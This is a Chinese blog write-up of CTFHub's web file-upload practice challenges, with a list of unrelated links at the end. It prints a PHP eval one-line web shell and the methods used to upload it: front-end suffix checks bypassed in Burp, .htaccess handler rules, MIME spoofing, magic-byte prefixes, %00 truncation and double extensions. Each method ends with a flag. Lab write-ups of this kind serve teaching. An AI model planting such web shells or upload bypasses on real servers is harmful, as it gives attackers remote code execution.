• CTFHUB-web-文件上传


    无验证

    上传一句话木马

     @eval($_POST['attack']) ?>
    
    • 1

    蚁剑添加数据,密码为attack

    在这里插入图片描述

    成功连接

    在这里插入图片描述

    找到flag

    在这里插入图片描述

    flag: ctfhub{5d24093c73fddbba912490b6}

    前端验证

    还是传那个一句话木马,不允许上传

    在这里插入图片描述

    只能上传指定后缀的文件,所以可以传完用burp抓包改

    
    function checkfilesuffix()
    {
        var file=document.getElementsByName('file')[0]['value'];
        if(file==""||file==null)
        {
            alert("请添加上传文件");
            return false;
        }
        else
        {
            var whitelist=new Array(".jpg",".png",".gif");
            var file_suffix=file.substring(file.lastIndexOf("."));
            if(whitelist.indexOf(file_suffix) == -1)
            {
                alert("该文件不允许上传");
                return false;
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20

    抓包然后把后缀名改回php就行

    在这里插入图片描述

    上传成功

    在这里插入图片描述

    拿到flag

    在这里插入图片描述

    flag: ctfhub{11c1db31b84d37148c5b1e72}

    .htaccess

    htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能

    正常传php文件会被拦截,所以传一个jpg后缀,再上传一个.htaccess文件来将这个jpg后缀改成php

    代码:

    AddType application/x-httpd-php .jpg
    
    • 1

    或者

    <FilesMatch "jpg">
    SetHandler application/x-httpd-php
    </FilesMatch>
    
    • 1
    • 2
    • 3

    然后上传,我这里用的是第二个代码

    在这里插入图片描述

    然后传一个名字为jpg的文件,不要后缀名

    在这里插入图片描述

    直接连这个文件,他会自动加上php后缀名

    http://challenge-f72a30fd86db8f02.sandbox.ctfhub.com:10800/upload/jpg
    
    • 1

    flag : ctfhub{6dbd94b0b2c2a216c0422d74}

    MIME验证

    和前面一样,传一个jpg后缀文件,burp抓包改成php就行

    或者传php文件,将Content-type后的内容修改为image/jpg

    ctfhub{b5652964399b87304ba40269}

    文件头检查

    jpg图像都是以ff d8开头

    在这里插入图片描述

    复制前四个字节添加到包中

    `在这里插入图片描述

    传完没有回显

    在这里插入图片描述

    发现这个不能上传jpg图片,,,,,传张正常的都不行。。。

    改为png格式

    在这里插入图片描述

    试了很多次都不行,看了下别人的wp,说要加在图片后面

    在这里插入图片描述

    终于上传成功了

    在这里插入图片描述

    flag ; ctfhub{627dfd3139d1f0e356d9841f}

    00截断

    在url中%00表示ascll码中的0 ,而ascii中0作为特殊字符保留,表示字符串结束,所以当url中出现%00时就会认为读取已结束

    比如,正常输出的是test.txt

    https://mp.csdn.net/upfiles/?filename=test.txt     
    
    • 1

    加上%00, 此时输出的是test.php

    https://mp.csdn.net/upfiles/?filename=test.php%00.txt                  
    
    • 1

    利用这个原理,burp抓包,出来filename处修改,还要在请求头上面添加才能上传成功

    在这里插入图片描述

    flag: ctfhub{056efc18c621d17f55084cb5}

    双写后缀

    直接上传能上传成功,但是这样就少了后缀名

    在这里插入图片描述

    那么抓包修改名字为1.pphphp ,这样就能绕过

    flag : ctfhub{225456f3ae23d81f87fdd93b}

  • 相关阅读:
    桥接模式简介
    fatal error: linux/compiler-gcc9.h: No such file or directory
    ROS2专题【01】:win10上安装ROS2
    经验熵和经验条件熵
    并发性,时间和相对性(2)
    MyBatis:自定义分页插件
    基于ROS和turtlebot2的多机器人导航定位配置记录
    jsp会话(Cookie和session)
    AWS SAP-C02教程7--云迁移与灾备(DR)
    企业电子招标采购系统源码Spring Boot + Mybatis + Redis + Layui + 前后端分离 构建企业电子招采平台之立项流程图
  • 原文地址:https://blog.csdn.net/ookami6497/article/details/128139954